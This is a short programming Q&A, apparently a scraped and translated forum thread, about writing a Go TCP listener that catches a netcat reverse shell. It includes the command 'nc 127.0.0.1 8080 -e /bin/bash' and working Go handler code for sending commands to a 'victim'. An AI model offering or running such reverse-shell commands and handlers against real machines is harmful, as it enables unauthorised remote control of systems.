如何捕获netcat反向外壳？

Question

I am working on a TCP server in Go. The TCP server needs to be able to catch a reverse shell from netcat:

$ nc 127.0.0.1 8080 -e /bin/bash

I should be able to send commands and receive responses; however, my server just seems to hang when it receives a connection.

I think the problem is with the bufio.NewReader(conn).ReadString(' ') line, but I don't know how to fix it.

Can you offer any solutions, please and thank you?

Server Code (note: error handling omitted for brevity):

func main() {
    ln, _ := net.Listen("tcp", "127.0.0.1:8080")
    for {
        conn, _ := ln.Accept()
        handleConn(conn)
    }
}

func handleConn(conn net.Conn) {
    for {
        // Receive data from netcat victim
        data, _ := bufio.NewReader(conn).ReadString('
')
        fmt.Println(data)

        // Read command from Stdin then send to netcat victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('
')
        fmt.Fprintln(conn, cmd)
    }
}

Answer 1

I solved my problem immediately after I posted my question (d'oh!). Anyways, the solution is simple: reverse the read and write logic. After that, everything worked as desired.

Here's the fixed code:

func handleConn(conn net.Conn) {
    fmt.Println("Connection received.")
    for {
        // Read command from Stdin and send to victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('
')
        fmt.Fprintln(conn, cmd)

        // Receive input from connection
        data, _ := bufio.NewReader(conn).ReadString('
')
        fmt.Println(data)
    }
}